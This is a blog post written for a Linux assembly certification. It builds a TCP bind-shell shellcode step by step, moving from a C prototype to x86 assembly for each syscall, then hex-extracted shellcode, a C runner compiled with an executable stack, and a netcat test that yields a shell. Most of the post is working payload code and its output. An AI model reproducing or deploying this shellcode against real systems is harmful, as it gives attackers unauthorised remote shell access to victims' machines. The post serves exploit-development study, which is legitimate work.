SLAE 0x1 – Shell_Bind_Tcp shellcode

Whats a bind shell?

Bind tcp opens up a port on the victim’s system. When we connect to that port we get shell access to the victim’s system. Hence the term bind shell.

Today we write a bindshell in assembly and generate the shellcode that will give us a bind shell. Before that lets look at bind shell in C. This will help us construct our assembly program.

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
int clientfd, sockfd;
int dstport = 8080;
struct sockaddr_in mysockaddr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

mysockaddr.sin_family = AF_INET; //2
mysockaddr.sin_port = htons(dstport); //8080
mysockaddr.sin_addr.s_addr = INADDR_ANY; //0

bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

listen(sockfd, 0);

clientfd = accept(sockfd, NULL, NULL);

dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);

execve("/bin/sh", NULL, NULL);
return 0;
}

From the above C program we observe the following function calls are required for bind shell

socket
bind
listen
accept
dup2
execve

We will need to translate them into syscalls. Lets tackle one function call “at a time.

socket: To open a socket, we need to first understand the socketcall functionBelow is the socketcall function from the man page

int socketcall(int call, unsigned long *args);

int call is the actual type of call which is “sys_socket” in our case. args points to a block containing the actual arguments, which are passed through to
the appropriate call.

What are the actual arguments?

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)

The following header files give us values for each argument

/usr/include/linux/in.h  - IPPROTO_IP = 0, /* Dummy protocol for TCP */
/usr/include/bits/socket_type.h - SOCK_STREAM = 1
/usr/include/bits/socket.h - define AF_INET 2

General rule is that eax holds the syscall, ebx holds the first argument. ecx holds the second argument and edx holds the third argument.

Now lets push each argument on the stack in reverse order and move the address (esp) of the arguments into ecx.

xor edx, edx; flushing edx
push edx ; pushing third argument IPPROTO_IP//0
push byte 1 ; SOCKSTREAM tcp//1
push byte 2 ; AF_INET// 2
mov ecx, esp ; address of the arguments of sys_socket

ebx will store the type of socket call – sys_socket i.e 1 (#define SYS_SOCKET 1). eax will store the syscall for socketcall i.e 102 (#define __NR_socketcall 102). On success, a file descriptor for the new socket  (sockfd) is returned which is stored in eax. We will copy it to edi for later use

xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
xor ebx, ebx ; flushing ebx
mov bl, 1 ; #define SYS_SOCKET 1
int 0x80 ; syscall
mov edi, eax ; storing the value of sockfd into edi for later use

bind:

Next lets look at the bind function call

bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

When a socket is created, it exists in a name space (address family) but has no address assigned to it. bind() assigns the address specified by addr to the socket referred to by the file descriptor sockfd.

lets first assign an address INADDR_ANY to 0 i.e bind all available interfaces, destination port htons(dstport) to 8000 i.e to bind using a destination port (8000) then store the address of mysockaddr into ebx temporarily

push edx ; INADDR_ANY//0
push word 0x401f ; dstport 8000
push word 2 ; AF_INET//2
mov ebx, esp ; address of mysockaddr

Now as per the socketcall function call

int socketcall(int call, unsigned long *args);

lets push the arguments to the bind function on the stack and store in the address of the arguments in ecx as per the socketcall function call

push byte 16 ; sizeof(mysockaddr)//16
push ebx ; push address of mysockaddr
push edi ; sockfd
mov ecx,esp ; address of bind function arguments

Now thats done, ebx will hold the type of call which is bind (#define SYS_BIND 2). eax will hold the syscall for socket call(#define __NR_socketcall 102)

xor ebx, ebx ; flushing ebx
mov bl, 2 ; #define SYS_BIND 2
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall

listen

The listen function call is pretty straight forward . We will push the appropriate arguments for listen on the stack and then move the address of the arguments into ecx. ebx will hold the type of call i.e 4 (#define SYS_LISTEN 4) followed by eax which holds 102 syscall for socketcall (#define __NR_socketcall 102)

listen(sockfd, 0);

;listen(sockfd, 0);
;int socketcall(int call, unsigned long *args);
; #define SYS_LISTEN 4
push edx ; NULL
push edi ; sockfd
mov ecx, esp ; address of listen function arguments
xor ebx, ebx ; flushing ebx
mov bl, 4 ; #define SYS_LISTEN 4
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall

accept

The accept function is to accept connections. Below is the accept function call. The return value is the client fd. Similar to above calls, we will push the arguments to accept function on the stack and place the address of the arguments into ecx. Type of call is accept i.e 5 (#define SYS_ACCEPT 5) . eax will hold the syscall for socketcall i.e 102(#define __NR_socketcall 102)

clientfd = accept(sockfd, NULL, NULL);

;clientfd = accept(sockfd, NULL, NULL);
;int socketcall(int call, unsigned long *args);
; #define SYS_ACCEPT 5
push edx ; NULL
push edx ; NULL
push edi ; sockfd
mov ecx, esp ; address of accept function arguments
xor ebx, ebx ; flushing ebx
mov bl, 5 ; #define SYS_ACCEPT 5
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall

dup2:

Next is dup2. Here we need to call dup2 3 times. From the previous syscall we know that eax holds clientfd. Lets place clientfd into ebx. The syscall for dup2 is 63 (#define __NR_dup2 63). Lets also place 2 into ecx and then run into a loop and decrement ecx till the signed flag is set.

;dup2(clientfd, 0);
;dup2(clientfd, 1);
;dup2(clientfd, 2);
;#define __NR_dup2 63
mov ebx, eax ; clientfd
xor eax, eax ; flushing eax
xor ecx, ecx ; flushing eax
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin

dup2loop:

mov al, 63 ; #define __NR_dup2 63
int 0x80 ; syscall
dec ecx ; decrement ecx
jns dup2loop ; jump if not signed; loop until cl becomes 0


execve 

Finally lets write our execve shellcode which executes /bin/sh. The comments below explain the assembly code.

; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL);
; push NULL terminated program/file name
xor eax, eax ; flushing eax
push eax ; NULL
; push //bin/sh
push 0x68732f6e ; hs/n
push 0x69622f2f ; nib//

mov ebx, esp ; address of //bin/sh
mov edx, eax ; NULL third argument envp
mov ecx, eax ; NULL second argument argv
mov al, 0xb ; #define __NR_execve 11
int 0x80

Lets put all the assembly code together to have our final bind shell assembly code

; /usr/include/i386-linux-gnu/asm/unistd_32.h
; /usr/include/linux/in.h IPPROTO_IP = 0, /* Dummy protocol for TCP */
; /usr/include/bits/socket_type.h SOCK_STREAM = 1
; /usr/include/bits/socket.h #define AF_INET 2
; /usr/include/linux/in.h #define INADDR_ANY ((unsigned long int) 0x00000000)
global _start

section .text
_start:

;sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
;int socketcall(int call, unsigned long *args);
; #define SYS_SOCKET 1
xor edx, edx; flushing edx
push edx ; pushing third argument IPPROTO_IP//0
push byte 1 ; SOCKSTREAM tcp//1
push byte 2 ; AF_INET// 2
mov ecx, esp ; address of the arguments of sys_socket
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
xor ebx, ebx ; flushing ebx
mov bl, 1 ; #define SYS_SOCKET 1
int 0x80 ; syscall
mov edi, eax ; storing the value of sockfd into edi for later use

; mysockaddr.sin_family = AF_INET;//2
;mysockaddr.sin_port = htons(dstport);//8000
;mysockaddr.sin_addr.s_addr = INADDR_ANY;//0

;bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
;int socketcall(int call, unsigned long *args);
; #define SYS_BIND 2
push edx ; INADDR_ANY//0
push word 0x401f ; dstport 8000
push word 2 ; AF_INET//2
mov ebx, esp ; address of mysockaddr
push byte 16 ; sizeof(mysockaddr)//16
push ebx ; push address of mysockaddr
push edi ; sockfd
xor ebx, ebx ; flushing ebx
mov bl, 2 ; #define SYS_BIND 2
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
mov ecx,esp ; address of bind function arguments
int 0x80 ; syscall

;listen(sockfd, 0);
;int socketcall(int call, unsigned long *args);
; #define SYS_LISTEN 4
push edx ; NULL
push edi ; sockfd
mov ecx, esp ; address of listen function arguments
xor ebx, ebx ; flushing ebx
mov bl, 4 ; #define SYS_LISTEN 4
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall

;clientfd = accept(sockfd, NULL, NULL);
;int socketcall(int call, unsigned long *args);
; #define SYS_ACCEPT 5
push edx ; NULL
push edx ; NULL
push edi ; sockfd
mov ecx, esp ; address of accept function arguments
xor ebx, ebx ; flushing ebx
mov bl, 5 ; #define SYS_ACCEPT 5
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall

;dup2(clientfd, 0);
;dup2(clientfd, 1);
;dup2(clientfd, 2);
;#define __NR_dup2 63
mov ebx, eax ; clientfd
xor eax, eax ; flushing eax
xor ecx, ecx ; flushing eax
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin

dup2loop:

mov al, 63 ; #define __NR_dup2 63
int 0x80 ; syscall
dec ecx ; decrement ecx
jns dup2loop ; jump if not signed; loop until cl becomes 0

; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL);
; push NULL terminated program/file name
xor eax, eax ; flushing eax
push eax ; NULL
; push //bin/sh
push 0x68732f6e ; hs/n
push 0x69622f2f ; nib//

mov ebx, esp ; address of //bin/sh
mov edx, eax ; NULL third argument
mov ecx, eax ; NULL second argument
mov al, 0xb ; #define __NR_execve 11
int 0x80


Lets compile and link the program

ddpinto@ddpinto-VirtualBox:~$ ./compile.sh shell_bind_tcp
[+] Assembling with NASM ...
[+] Linking ...
[+] Done! ...

Lets extract shellcode using some cmdfu
ddpinto@ddpinto-VirtualBox:~$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x89\xc7\x52\x66\x68\x1f\x40\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xb3\x02\x31\xc0\xb0\x66\x89\xe1\xcd\x80\x52\x57\x89\xe1\x31\xdb\xb3\x04\x31\xc0\xb0\x66\xcd\x80\x52\x52\x57\x89\xe1\x31\xdb\xb3\x05\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc2\x89\xc1\xb0\x0b\xcd\x80"

Lets embed the shellcode into our c wrapper

#include <stdio.h>
#include <strings.h>

unsigned char code[] = \
"\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x89\xc7\x52\x66\x68\x1f\x40\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xb3\x02\x31\xc0\xb0\x66\x89\xe1\xcd\x80\x52\x57\x89\xe1\x31\xdb\xb3\x04\x31\xc0\xb0\x66\xcd\x80\x52\x52\x57\x89\xe1\x31\xdb\xb3\x05\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc2\x89\xc1\xb0\x0b\xcd\x80";

main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Lets compile the C code and run it

ddpinto@ddpinto-VirtualBox:~$ gcc -fno-stack-protector -z execstack shellcode_shell_bind_tcp.c -o shellcode_shell_bind_tcp

ddpinto@ddpinto-VirtualBox:~$ ./shellcode_shell_bind_tcp
Shellcode Length: 114

Lets test our bind shell by connecting on port 8000

ddpinto@ddpinto-VirtualBox:~$ nc -v 127.0.0.1 8000
Connection to 127.0.0.1 8000 port [tcp/*] succeeded!
whoami
ddpinto
id
uid=1000(ddpinto) gid=1000(ddpinto) groups=1000(ddpinto),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Here you go, we have successfully written a bindshell

Github: https://github.com/buffered4ever/SLAE - 0x1

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-1932

Leave a comment

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s